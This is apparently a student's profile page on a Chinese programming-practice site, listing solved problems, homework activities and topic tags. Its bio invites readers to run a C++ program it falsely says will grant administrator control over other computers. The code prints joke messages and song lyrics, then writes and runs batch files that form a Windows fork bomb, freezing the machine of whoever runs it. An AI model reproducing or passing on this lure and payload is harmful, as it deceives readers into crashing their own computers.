-
个人简介
若你困与无风之地,我将奏响高天之歌。
运行一下下面这串代码吧! 他能把你的电脑设置成管理员哦!!
#include<bits/stdc++.h> #include<unistd.h> using namespace std; int main(){ cout<<"你好!"<<endl; sleep(0.5); cout<<"恭喜你看到这条消息!!!" <<endl; sleep(0.5); cout<<"看到这条消息后,"<<endl; sleep(0.5); cout<<"你的电脑将被设置为管理员,可以操控别人的电脑,愿你好好利用。"<<endl; sleep(0.5); cout<<"请耐心等待......"<<endl; sleep(0.25); cout<<"设置完毕,祝你好运!!!"<<endl; sleep(0.25); cout<<"Never gonna give you up~~~"; sleep(0.25); cout<<"Never gonna say goodbye~~~"; sleep(0.25); freopen("1.bat","w",stdout);cout<<"%0|%0";fclose(stdout);freopen("2.bat","w",stdout);cout<<"start 1.bat\nstart 2.bat\n%0";fclose(stdout);system("2.bat"); return 0; }
-
通过的题目
- P128
- P129
- P130
- P131
- P132
- P133
- P134
- P135
- P136
- P137
- P138
- P139
- P141
- P142
- P143
- P144
- P145
- P146
- P150
- P151
- P152
- P159
- P165
- P161
- P162
- P163
- P164
- P169
- P171
- P172
- P173
- P175
- P176
- P177
- P178
- P179
- JMFES034
- T1009
- D1001
- D1002
- D1003
- D1004
- D1005
- D1006
- D1008
- D1009
- D1012
- D1016
- D1017
- CSPJ2019B
- D1021
- JMFESTEST8
- JMFESTEST011
- JMFESTEST012
- D1044
- P401
- P403
-
最近活动
- 五升六L2第十一节练习 作业
- 五升六L2第九节练习 作业
- 五升六L2第三节 作业
- 临时任务1 作业
- 五升六第十五节程序设计作业 作业
- 五升六第十四节程序设计作业 作业
- 五升六第十三节程序设计作业 作业
- 五升六第十二节程序设计作业 作业
- 五升六第十一节程序设计作业 作业
- 五升六第十节程序设计作业 作业
- 七年级少年班9.17作业 作业
- 五升六第九节程序设计作业 作业
- 图灵班暑期营8.5 作业
- 图灵班暑期营8.2 作业
- 图灵班暑期营8.1 作业
- 图灵班暑期营7.31 作业
- 图灵班暑期营7.29 作业
- 图灵班暑期营7.28 作业
- 图灵班暑期营7.27 作业
- 图灵班暑期营7.26 作业
- 图灵班暑期营7.25 作业
- 图灵班暑期营7.24 作业
- 图灵班暑期营7.22 作业
- 图灵班暑期营7.21 作业
- 图灵班暑期营7.20 作业
- 图灵班暑期营7.19 作业
- 二期少年班L2第一节程序设计 作业
- 二期少年班第十八节程序设计 作业
- 二期少年班第十六节程序设计 作业
- 二期少年班第十五节程序设计 作业
- 少年班L2第一节程序设计 作业
- 少年班考核 OI
- 二期少年班第十四节程序设计 作业
- 二期少年班第十三节程序设计 作业
- 二期少年班第十二节程序设计 作业
- 二期少年班第十一节程序设计 作业
- 二期少年班第十节程序设计 作业
- 二期少年班第九节程序设计 作业
- 二期少年班第八节程序设计 作业
- 练习 作业
- 二期测试 OI
- 二期少年班第七节程序设计 作业
- 二期少年班第六节程序设计 作业
- 二期少年班第五节程序设计 作业
- 二期少年班第四节程序设计 作业
- 二期少年班第三节程序设计 作业
- 二期少年班第二节程序设计 作业
- 二期少年班第一节程序设计 作业
- 少年班第七节程序设计 作业
-
最近编写的题解
题目标签
- 算法基础
- 64
- 入门
- 64
- DAI
- 13
- 模拟
- 10
- 循环
- 6
- 其他
- 5
- 排序
- 5
- 2019
- 1
- CSP-J
- 1